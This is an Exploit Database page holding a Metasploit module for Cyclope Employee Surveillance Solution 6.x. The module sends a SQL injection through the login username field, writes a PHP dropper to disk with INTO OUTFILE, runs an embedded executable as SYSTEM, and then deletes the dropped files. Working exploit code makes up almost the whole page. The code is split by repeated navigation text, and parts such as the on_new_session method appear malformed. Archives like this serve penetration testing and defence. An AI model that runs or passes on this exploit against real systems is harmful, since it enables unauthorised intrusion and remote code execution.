

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Cyclope Employee Surveillance Solution 6.0 - SQL Injection (Metasploit)

**EDB-ID:**

20501

**CVE:**

**EDB Verified:** 

**Author:**

[METASPLOIT](#)

**Type:**

[REMOTE](#)

**Exploit:**  

**Platform:**

[WINDOWS](#)

**Date:**

2012-08-15

**Vulnerable App:**



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name' => "Cyclope Employee Surveillance Solution v6
SQL Injection",
      'Description' => %q{
        This module exploits a SQL injection found in Cyclope
Employee Surveillance
Solution. Because the login script does not properly
handle the user-supplied
username parameter, a malicious user can manipulate the SQL
query, and allows
arbitrary code execution under the context of 'SYSTEM'.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'loneferret', #Original discovery, PoC
          'sinn3r' #Metasploit
        ],
      'References' =>
        [
          ['OSVDB', '84517'],
          ['EDB', '20393']
        ],
      'Payload' =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform' => 'win',
      'Targets' =>
        [
          ['Cyclope Employee Surveillance Solution v6.2 or
older', {}]
        ],
      'Privileged' => false,
      'DisclosureDate' => "Aug 8 2012",
      'DefaultTarget' => 0))

    register_options(
      [
        OptPort.new('RPORT', [true, "The web application's
port", 7879]),
        OptString.new('TARGETURI', [true, 'The base path to to
the web application', '/'])
      ], self.class)
    end

  def check
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

peer = "#{rhost}:#{rport}"
path = File.dirname("#{target_uri.path}/.")
b64_version = get_version(path)
if b64_version.empty?
  print_error("#{peer} - Unable to determine the version number")
else
  b64_version = Rex::Text.decode_base64(b64_version)
  if b64_version =~ /^[0-6]\.1/
    return Exploit::CheckCode::Vulnerable
  else
    return Exploit::CheckCode::Safe
  end
end

return Exploit::CheckCode::Unknown
end

def get_version(path)
  res = send_request_raw({'uri'=> "#{path}index.php"})
  return '' if not res

  v = res.body.scan(/<link rel=\\"stylesheet\\" type=\\"text\/css\\"
href=\\"([\w\=]+)\/css\/.+\" \\/>/).flatten[0]
  return '' if not v

  return v
end

def on_new_session(cli)
  if cli.type != 'meterpreter'
    print_error("Please remember to manually remove #{@exe_fname}
and #{@php_fname}")
  end
  return
end

cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

begin
  print_status("Deleting #{@php_fname}")
  cli.fs.file.rm(@php_fname)
rescue ::Exception => e
  print_error("Please note: #{@php_fname} is stil on disk.")
end

begin
  print_status("Deleting #{@exe_fname}")
  cli.fs.file.rm(@exe_fname)
rescue ::Exception => e
  print_error("Please note: #{@exe_fname} is still on disk.")
end

def get_php_payload(fname)
  p = Rex::Text.encode_base64(generate_payload_exe)
  php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("#{fname}");
?>
|
php = php.gsub(/\t/, ' ').gsub(/\n/, ' ')
return php
end

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

def exploit
  peer = "#{rhost}:#{rport}"
  path = File.dirname("#{target_uri.path}/.")

  #
  # Need to fingerprint the version number in Base64 for the payload
  path
  #
  b64_version = get_version(path)
  if b64_version.empty?
    print_error("#{peer} - Unable to determine the version number")
    return
  end

  print_status("#{peer} - Obtained version: #
{Rex::Text.decode_base64(b64_version)}")

  #
  # Prepare our payload (naughty exe embedded in php)
  #
  @exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
  @php_fname = Rex::Text.rand_text_alpha(6) + '.php'
  php = get_php_payload(@exe_fname).unpack("H*")[0]
  sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#
{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1"

  #
  # Inject payload
  #
  print_status("#{peer} - Injecting PHP payload...")
  res = send_request_cgi({
    'method' => 'POST',
    'uri' => path,
    'vars_post' => {
      'act' => 'auth-login',
      'pag' => 'login',
      'username' => sqli,
      'password' => Rex::Text.rand_text_alpha(5)
    }
  })

  #
  # Load our payload
  #
  print_status("#{peer} - Loading payload: #{path}#{b64_version}/#{
{@php_fname}")
  send_request_raw({'uri'=> "#{path}#{b64_version}/#{@php_fname}")
  if res and res.code == 404
    print_error("#{peer} - Server returned 404, the upload attempt
probably failed.")
    return
  end

  handler
end
end

```

Tags: [Metasploit Framework](#)  
([MSE](#)).

Advisory/Source: [Link](#)



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS



 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

- Databases ▾
- Links ▾
- Sites ▾
- Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.